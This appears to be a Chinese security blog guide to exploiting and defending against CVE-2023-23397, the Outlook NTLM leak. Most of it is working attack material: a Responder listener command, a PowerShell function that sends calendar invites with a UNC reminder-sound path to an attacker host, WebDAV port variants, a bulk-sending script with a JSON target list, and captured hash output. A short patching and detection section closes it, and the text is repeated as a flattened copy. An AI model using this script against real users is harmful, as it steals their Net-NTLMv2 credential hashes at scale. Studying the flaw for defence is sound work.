Net-NTLMv2窃取----By Outlook NTLM Leak
字数 1246 2025-08-25 22:58:56

Outlook NTLM Leak漏洞利用与防御指南

漏洞概述

CVE-2023-23397是微软Outlook中的一个严重漏洞,允许攻击者通过特制的日历邀请窃取用户的Net-NTLMv2凭证哈希。该漏洞影响所有受支持的Outlook Windows版本,但不影响Android、iOS或macOS版本。

关键特性

  • Zero-click漏洞:无需用户交互即可触发
  • 通过日历提醒功能中的UNC路径触发
  • 泄露Net-NTLMv2哈希可用于后续攻击

漏洞原理

漏洞利用Outlook日历提醒功能中的音频文件路径设置。攻击者可以设置一个指向攻击者控制的服务器的UNC路径作为提醒声音文件:

\\ATTACKER_IP\foo\bar.wav

当受害者收到包含此类恶意日历邀请的邮件时,Outlook会自动尝试访问该UNC路径,导致系统向攻击者服务器发起NTLM认证请求,从而泄露用户的Net-NTLMv2哈希。

利用条件

  1. 受害者使用Windows版Outlook
  2. 攻击者能够向受害者发送日历邀请
  3. 受害者网络允许出站SMB连接(端口445)或HTTP/HTTPS连接(端口80/443)

漏洞利用步骤

1. 设置Responder监听

在攻击机上启动Responder监听认证请求:

responder -I ens5

2. 创建恶意日历邀请

由于Outlook界面不允许直接设置UNC路径为音频文件,需要通过以下方法绕过:

方法一:使用OutlookSpy插件

  1. 安装OutlookSpy插件
  2. 创建新的Appointment(约会)
  3. 通过OutlookSpy访问内部参数:
    • 设置ReminderSoundFile为UNC路径(如\\ATTACKER_IP\foo\bar.wav)
    • 设置ReminderOverrideDefaultReminderPlaySound为True
  4. 设置提醒时间为0分钟以便立即触发

方法二:使用PowerShell脚本

function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody) {
    $Outlook = New-Object -comObject Outlook.Application
    $newcal = $outlook.CreateItem('olAppointmentItem')
    $newcal.ReminderSoundFile = $remotefilepath
    $newcal.Recipients.add($recipient)
    $newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
    $newcal.Subject = $meetingsubject
    $newcal.Location = "Virtual"
    $newcal.Body = $meetingbody
    $newcal.Start = get-date
    $newcal.End = (get-date).AddHours(2)
    $newcal.ReminderOverrideDefault = 1
    $newcal.ReminderSet = 1
    $newcal.ReminderPlaysound = 1
    $newcal.send()
}

# 使用示例
Send-CalendarNTLMLeak -recipient "victim@example.com" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "Important Meeting" -meetingbody "Please attend this meeting"

3. 捕获哈希

当受害者收到并处理该日历时,Responder将捕获Net-NTLMv2哈希:

[SMB] NTLMv2-SSP Client   : 192.168.1.100
[SMB] NTLMv2-SSP Username : DOMAIN\user
[SMB] NTLMv2-SSP Hash     : user::DOMAIN:1122334455667788:...

变种利用

如果SMB端口(445)被阻止,可以使用HTTP/HTTPS端口:

\\ATTACKER_IP@80\foo\bar.wav
\\ATTACKER_IP@443\foo\bar.wav

这需要攻击者服务器配置WebDAV服务。

批量利用

可以编写脚本批量发送恶意日历邀请:

# 读取JSON格式的目标列表
$json_data = Get-Content -Raw -Path "targets.json" | ConvertFrom-Json

foreach($item in $json_data) {
    Send-CalendarNTLMLeak -recipient $item.recipient -remotefilepath $item.remotefilepath -meetingsubject $item.meetingsubject -meetingbody $item.meetingbody
}

JSON文件格式示例:

[
    {
        "recipient": "user1@example.com",
        "remotefilepath": "\\\\ATTACKER_IP\\foo\\bar1.wav",
        "meetingsubject": "Meeting 1",
        "meetingbody": "Important update"
    },
    {
        "recipient": "user2@example.com",
        "remotefilepath": "\\\\ATTACKER_IP\\foo\\bar2.wav",
        "meetingsubject": "Meeting 2",
        "meetingbody": "Urgent discussion"
    }
]

防御措施

  1. 应用补丁:安装微软2023年3月发布的安全更新
  2. 禁用NTLM:在域环境中禁用NTLM认证,使用Kerberos
  3. 网络限制
    • 阻止出站SMB连接(端口445)
    • 限制内部主机对互联网的NTLM认证
  4. Outlook配置
    • 禁用自动处理日历邀请
    • 配置Outlook以阻止外部内容加载
  5. 监控:监控异常的SMB或HTTP认证尝试

检测方法

检查Outlook日志中是否存在异常的UNC路径访问,或监控网络中的异常NTLM认证请求。

总结

CVE-2023-23397是一个严重的Outlook漏洞,允许攻击者在无需用户交互的情况下窃取凭证哈希。组织应优先应用补丁并实施防御措施,特别是禁用NTLM认证和限制出站SMB连接。

Outlook NTLM Leak漏洞利用与防御指南 漏洞概述 CVE-2023-23397是微软Outlook中的一个严重漏洞,允许攻击者通过特制的日历邀请窃取用户的Net-NTLMv2凭证哈希。该漏洞影响所有受支持的Outlook Windows版本,但不影响Android、iOS或macOS版本。 关键特性 : Zero-click漏洞:无需用户交互即可触发 通过日历提醒功能中的UNC路径触发 泄露Net-NTLMv2哈希可用于后续攻击 漏洞原理 漏洞利用Outlook日历提醒功能中的音频文件路径设置。攻击者可以设置一个指向攻击者控制的服务器的UNC路径作为提醒声音文件: 当受害者收到包含此类恶意日历邀请的邮件时,Outlook会自动尝试访问该UNC路径,导致系统向攻击者服务器发起NTLM认证请求,从而泄露用户的Net-NTLMv2哈希。 利用条件 受害者使用Windows版Outlook 攻击者能够向受害者发送日历邀请 受害者网络允许出站SMB连接(端口445)或HTTP/HTTPS连接(端口80/443) 漏洞利用步骤 1. 设置Responder监听 在攻击机上启动Responder监听认证请求: 2. 创建恶意日历邀请 由于Outlook界面不允许直接设置UNC路径为音频文件,需要通过以下方法绕过: 方法一:使用OutlookSpy插件 安装OutlookSpy插件 创建新的Appointment(约会) 通过OutlookSpy访问内部参数: 设置 ReminderSoundFile 为UNC路径(如 \\ATTACKER_IP\foo\bar.wav ) 设置 ReminderOverrideDefault 和 ReminderPlaySound 为True 设置提醒时间为0分钟以便立即触发 方法二:使用PowerShell脚本 3. 捕获哈希 当受害者收到并处理该日历时,Responder将捕获Net-NTLMv2哈希: 变种利用 如果SMB端口(445)被阻止,可以使用HTTP/HTTPS端口: 这需要攻击者服务器配置WebDAV服务。 批量利用 可以编写脚本批量发送恶意日历邀请: JSON文件格式示例: 防御措施 应用补丁 :安装微软2023年3月发布的安全更新 禁用NTLM :在域环境中禁用NTLM认证,使用Kerberos 网络限制 : 阻止出站SMB连接(端口445) 限制内部主机对互联网的NTLM认证 Outlook配置 : 禁用自动处理日历邀请 配置Outlook以阻止外部内容加载 监控 :监控异常的SMB或HTTP认证尝试 检测方法 检查Outlook日志中是否存在异常的UNC路径访问,或监控网络中的异常NTLM认证请求。 总结 CVE-2023-23397是一个严重的Outlook漏洞,允许攻击者在无需用户交互的情况下窃取凭证哈希。组织应优先应用补丁并实施防御措施,特别是禁用NTLM认证和限制出站SMB连接。